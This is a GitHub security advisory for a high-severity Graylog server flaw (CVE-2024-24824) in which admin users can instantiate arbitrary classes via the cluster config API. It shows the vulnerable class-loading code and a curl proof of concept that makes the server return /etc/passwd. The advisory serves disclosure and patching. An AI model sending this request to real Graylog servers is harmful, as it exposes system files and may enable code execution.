Skip to content

Instantiation of arbitrary classes triggered by API request

High
bernd published GHSA-p6gg-5hf4-4rgj Feb 7, 2024

Package

maven graylog2-server (Maven)

Affected versions

>= 2.0.0, <=5.2.3

Patched versions

5.2.4, 5.1.11

Description

Summary

Arbitrary classes can be loaded and instantiated using a HTTP PUT request to the /api/system/cluster_config/ endpoint.

Details

Graylog's cluster config system uses fully qualified class names as config keys. To validate the existence of the requested class before using them, Graylog loads the class using the class loader.

private Class<?> classFromName(String className) {
try {
return chainingClassLoader.loadClass(className);
} catch (ClassNotFoundException e) {
return null;
}
}

PoC

A request of the following form will output the content of the /etc/passwd file:

curl -u admin:<admin-password> -X PUT http://localhost:9000/api/system/cluster_config/java.io.File \
    -H "Content-Type: application/json" \
    -H "X-Requested-By: poc" \
    -d '"/etc/passwd"'

To perform the request, authorization is required. Only users posessing the clusterconfigentry:create and clusterconfigentry:edit permissions are allowed to do so. These permissions are usually only granted to Admin users.

Impact

If a user with the appropriate permissions performs the request, arbitrary classes with 1-arg String constructors can be instantiated.

This will execute arbitrary code that is run during class instantiation.

In the specific use case of java.io.File, the behaviour of the internal web-server stack will lead to information exposure by including the entire file content in the response to the REST request.

Credits

Analysis provided by Fabian Yamaguchi - Whirly Labs (Pty) Ltd

Severity

High

CVE ID

CVE-2024-24824

Weaknesses

Credits